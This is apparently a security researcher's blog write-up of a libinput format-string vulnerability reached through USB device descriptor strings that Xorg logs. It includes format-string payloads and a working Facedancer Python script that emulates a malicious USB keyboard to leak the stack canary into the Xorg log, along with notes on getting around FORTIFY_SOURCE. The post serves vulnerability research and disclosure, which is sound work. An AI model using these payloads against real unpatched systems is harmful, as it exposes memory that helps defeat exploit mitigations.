Discovery

This is an issue that I had independently discovered in Xorg (or so I thought) a while back while messing around with the GreatFET One, a cool little device for USB hacking. While trying out some random payloads I found that connecting a USB keyboard device with format strings in certain device descriptor fields caused Xorg to crash. Specifically, it was the manufacturer, serial, product string fields. Unfortunately, I quickly ran into issues while trying to setup a testing environment as I would immediately crash my own X session as soon as I connected the device, even when trying to pass it through to a VM directly. I decided to just save it for another day when I had time to figure out a good solution to those issues, but it ended up sitting for months and I never did much to go back to it.

Then, a couple of weeks ago I saw some CVEs get released for something in Xorg that seemed tangentially related to input devices, which piqued my attention. It got me wondering whether it was the same bug I had found, so I dug up my notes and decided to take a closer look. While doing this I figured out that the issue was actually not in Xorg itself (at least not completely), but actually in libinput. Once I’d figured this out, I went looking for the libinput source code to find the code for the functions I was seeing in the backtrace and ended up finding the specific commit where the issue was fixed in April of this year. Well, shit lmao.

Root Cause Analysis

The reporter of the issue provided a detailed description of the vulnerability in the report. Here’s a snippet that’s a good tl;dr:

- Newly connected evdev devices are logged using evdev_log_msg.
- The format parameter is manipulated at src/evdev.h:785 to prepend (among other things) the device name.
- The resulting string buf is then passed as the format parameter to log_msg_va at src/evdev.h:796
- In X.org (and probably other users of libinput), this logging function eventually leads into the system's sprintf.
- If the device name contains printf-style formatting placeholders such as %s or %d, these will be passed on to the new format string, and interpreted incorrectly. User-controlled format strings are a known security vulnerability, CWE-134, and can be used by an attacker to execute malicious code.

Basically, the issue came down to the fact that user-controlled input was prepended to a predefined format string before being used as the format argument in a call to sprintf().

While doing some more digging on specific components of libinput I came across the blog post where the reporter(s) talked about the accidentally stumbling across the issue and their root causing process (no surprise, its actually a security company lol). Check out that post for a great analysis and description of exactly where the issue happens.

So, the root cause analysis was already done…but no poc exploit code was provided. There was an intersting discussion around the likelihood/plausability of exploitation in the git issue between the reporter(s) and developers where they discussed potential avenues for exploitation and the true impact/risk (check it out for details). tl;dr the determination was that at best the bug provides an attacker with an info leak and nothing else but at worst could potentially lead to code execution.

With that in mind, I thought it still might be worth doing the work of exploring both the info leak and the potential for RCE and produce exploits for both (hopefully).

Exploit: Leaking the Stack Canary

I started off with the info leak exploit. One of the most useful things an info leak can provide is the ability to leak the stack canary so I decided that would be the goal of the exploit. Because the canary value is stored on the stack and format string arguments are read from the stack, its usually possible to do this pretty easily.

Testing environment:

  • Debian 11 host
  • Xubuntu 20.04 VM in Virtualbox
  • USB host device passthrough to the VM
  • Set up SSH on VM

First things first, though: in order for a format string to be useful for this kind of info leak, there needs to be a way to get output back from the program that shows the values read from the stack. Thankfully, in this case,the output is written to the Xorg log file, which is world-readable. With the confirmed, the next step was figuring out exactly where the stack canary was so we can find it reliably.

Constraints: Field Length Limit

In this case, there were some constraints that made things only slightly harder. The length of each field must be less than 126 characters - this is because the USB device structure that holds the fields is 255 bytes, the first 4 of which are reserved to hold the length of the field. The string values are interpreted as UTF-16 as per the USB specification, so the remaining 254 bytes are split in half.

Constraint: Additional %s format strings

The first issue I ran into almost right away when I started testing payloads was that nearly every payload I tried immediately resulted in a SIGSEGV. It wasn’t immediately obvious why this was happening as it’s usually possible to use specifiers like %x to read values without causing a crash (i.e. doesn’t usually lead to OOB read).

Specifically, one of the calls to *sprintf_internal was prepending the format strings I was submitting to another string that contained another 11 %s specifiers, as show in the GDB output below

Thread 1 "Xorg" hit Breakpoint 1, __vsnprintf_internal (string=0x7ffce6903d65 "", maxlen=0x3fb, format=0x7ffce69041c0 "event7  - CCCC <CONTROLLED INPUT>: is tagged by udev as:%s%s%s%s%s%s%s%s%s%s%s\n", args=0x7ffce69041a8, mode_flags=0x2) at vsnprintf.c:95

This is a problem because each format specifier placed in the controllable strings will consume an argument from the stack and %s format specifiers indicate the argument value will be treated as a char pointer and dereferenced as such; once the arguments for each format spec in the submitted payload were consumed, it became virtually impossible to avoid triggering a segmentation fault caused by a read to an invalid address when the %s specs were reached.

After doing a bit of reading through the man pages for sprintf and some Google searches, I figured out I could use direct parameter access on the format specs in my payload to keep the va_arg pointer fixed. Using parameter access in the format specs does not move the main argument pointer, so in a format string such as %1$x %2$x %x , the first format reads from parameter 1 and the second from parameter 2, but the third reads from parameter 1 again because it’s the first format spec to appear without a parameter specified. The example below shows this in action:

xorg@xuxorg:~$ echo -n "%1\$s%2\$s%3\$s%4\$s" | ./toy
[+] fmt string: '%1$s%2$s%3$s%4$s | %s%s%s%s\n'
[+] args: '1111.', '4444.', '5555.', '6666.'

[+] result:
1111.4444.5555.6666. | 1111.4444.5555.6666.

This is how I was able to get around the issues with the extra %s specs, but it cut down the total number of format specificiers I could place in a single field. There were a total of 126 characters that could be used and each normal format spec (without a parameter index) takes up 2 characters, resulting in a total of 63 format specs that could be inserted. The addition of the parameter access syntax adds a minimum of 2 characters per format spec. Assuming only single-digit indices are used (4 characters total), this cuts down the actual max number of specs that could be included in each field to 31. This means for each run of the ‘exploit’ we’ll only be able to read a total of 31 values off of the stack.

Those already familiar with format string bugs would be correct to assume that, ultimately, this length limit isn’t necessarily an issues since it doesn’t limit how far into the stack we’re able to read. This is because the set of parameter indices can be updated between runs (e.g. run1 uses indices 1-20, run2 uses indices 20-40, etc) to continue reading further into memory. Unfortunately, this is one of the cases where the length limit is very much an issue, as I quickly discovered when I tried to do that.

Constraints: FORTIFY_SOURCE=2

checksec

While doing some testing and trying to dump out values I noticed that any time I used parameter access format specs that didn’t include all indices below the max index used (i.e. if a format string accessed parameter 5 without accessing 1-4) the application would crash with a SIG_ABORT. When investigating this with GDB attached, I noticed this string in the exception handler that throws the ABORT signal: "*** invalid %N$ use detected ***\n". A quick Google search later led me to figuring out that the Xorg binary I was testing against was compiled with the FORTIFY_SOURCE=2 flag.

a quick detour: tl;dr on FORTIFY_SOURCE=2

I wasn’t familiar with the specific mitigations/checks provided by this flag before this so I spent a bit of time digging into it. I’ll probably spend more time talking about this in a future post so for now here’s the tl;dr version with the most important points:

  • Compiler-provided security checks and exploit mitigation mechanisms (just like -fstack-protector)
  • This includes both compile-time and run-time checks
  • =2 specifically enables format string exploit mitigations; requires optimization level ≥ 2
    • %n is not allowed in format strings stored in writeable memory (i.e. don’t allow from user-writeable memory regions)
    • Direct parameter access cannot ‘skip’ values; if the 5th parameter is accessed directly, parameters 1-4 must also be accessed somewhere in the format string

That last point is the pertinent one in regard to the issue mentioned at the end of the previous section. This meant that the length limit would effectively create a maximum parameter index that could be accessed while remaining within the boundaries of the constraints and avoiding a crash.

We can calculate the max index like so:

  • Accessing single-digit indices consume 4 characters per spec: %N$x
    • Accessing arguments 1-9 consumes 36 characters total (9 * 4)
  • Accessing double digit indices (10 to 99) consume 5 characters per spec: %NN$x
    • With 90 characters remaining (126 - 36), a maximum of 18 more arguments can be accessed (90 / 5)
  • Maximum index is 9 + 18 = 27

Exploit: Leaking the Canary

Given the constraints described above, the exploit ultimately comes down to a bit of luck — as long as the canary is close enough on the stack to be reachable with the available parameter indices for the vulnerable stack frame, it should be leaked in the log file.

I began with this payload, which only reads up to the 22nd arg so that the .’s between the specs can be included to split things up and make the outputs easy to distinguish.

"%1$p.%2$p.%3$p.%4$p.%5$p.%6$p.%7$p.%8$p.%9$p.%10$p.%11$p.%12$p.%13$p.%14$p.%15$p.%16$p.%17$p.%18$p.%19$p.%20$p.%21$p.%22$p"

Unfortunately, that didn’t work and none of the values in the output matched the pattern of a canary. So, it would come down to the last 5 args. I removed the dots from the first 22 formats to get those characters back and read up the 25th.

"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p%9$p%10$p%11$p%12$p%13$p%14$p%15$p%16$p%17$p%18$p%19$p%20$p%21$p%22$p.%23$p.%24$p.%25$p"

Luck was on my side. I checked the logs and found what looked a lot like a canary value. As can be seen, the value’s location on the stack changes slightly between different vulnerable function calls. Stack canaries on most Linux distros are 64-bit numbers that end with a null byte. They’re usually not too difficult to find since they don’t look like valid addresses or hex ASCII values(except when they do).

xorg log with canary values

Facedancer Script

Facedancer is the name of another USB hacking board similar to the GreatFET and a Python module that provides USB emulation capabilities for compatible boards. This is incredibly useful for quick prototyping and testing, especially being able to programmatically define how the device will behave in response to different requests sent by the host.

This Facedancer script will trigger the bug and place markers around the locations that are likely to contain the canary value to make it easier to find.

#!/usr/bin/env python3
# pylint: disable=unused-wildcard-import, wildcard-import
import sys
import os
import logging
from facedancer             import devices, main
from facedancer.devices.keyboard import USBKeyboardDevice

prefix = "%1$c%2$c%3$c%4$c%5$c%6$c%7$c%8$c%9$c%10$c%11$c%12$c%13$c%14$c%15$c%16$c%17$c%18$c%19$c%20$c%21$c%22$c"
canary_maybes = "X:%23$p_X:%24$p_X:%25$p" # grep for `X:0x.{14}00`
payload = prefix + canary_maybes

print("[+] reading args from $FSERIAL, $FPRODUCT, and $FMANU env vars")
serial = os.environ.get("FSERIAL", "C"*100)
product = os.environ.get("FPRODUCT", "HYPRODUCT")
manu = os.environ.get("FMANU", payload)

# create the device and connect
DEVICE = USBKeyboardDevice()
DEVICE.serial_number_string = serial
DEVICE.manufacturer_string = manu
DEVICE.product_string = product
DEVICE.product_id = 0x1337
DEVICE.vendor_id = 0x1337
main(DEVICE)

The values can then be searched for in the Xorg log file using grep:

# find it in the logs
grep -a -E "X:0x.{14}00" /var/log/Xorg.0.log

The screenshot below the canary value in the running Xorg process while attached with GDB and the same value shown in the Xorg log:

gdb confirm

This has only been confirmed to work on default installations of Xubuntu 20.04.4 (i.e. before installing any updates, as patches have been pushed). I did test on a Debian 11 system but wasn’t able to get the canary value to leak within the same constraints. Apparently, most distros now enable essentially all exploit mitigations (canaries, RELRO, FORTIFY_SOURCE, etc) on default packages. So, YMMV on different distros or even Ubuntu versions.

Code Exec?

I spent quite a bit of time trying to see whether I could turn this into a code execution bug, but as mentioned above, the FORTIFY_SOURCE=2 checks prevent the use of %n , which really complicates things. The only bypass technique I’ve been able to find is from a 2010 Phrack article, “A Eulogy for Format Strings”, which involves abusing the use of alloca in glibc’s internal vfprintf implementation to shift the stack and cause a 4-byte NULL write at a controllable location. This NULL write is used to overwrite the flag on the open file stream object for stdout which is used to determine whether to enforce the FORTIFY checks. I’m not sure whether that same behavior can be abused in modern glibc versions on 64-bit systems (pretty much everything I’ve found online is on 32-bit systems, and at least 6-7 years old) but I’m still playing around with it. I’ve been able to get some interesting behavior but nothing so far that’s gotten me closer to code exec in any significant way. In any case, I think it may be an area worth exploring, if at least to confirm whether some bypass can be achieved on modern systems. If not, I may end up just building a vulnerable version without the fortify checks and write an exploit for that.

So, for now, no code exec :(.

Reference/Resources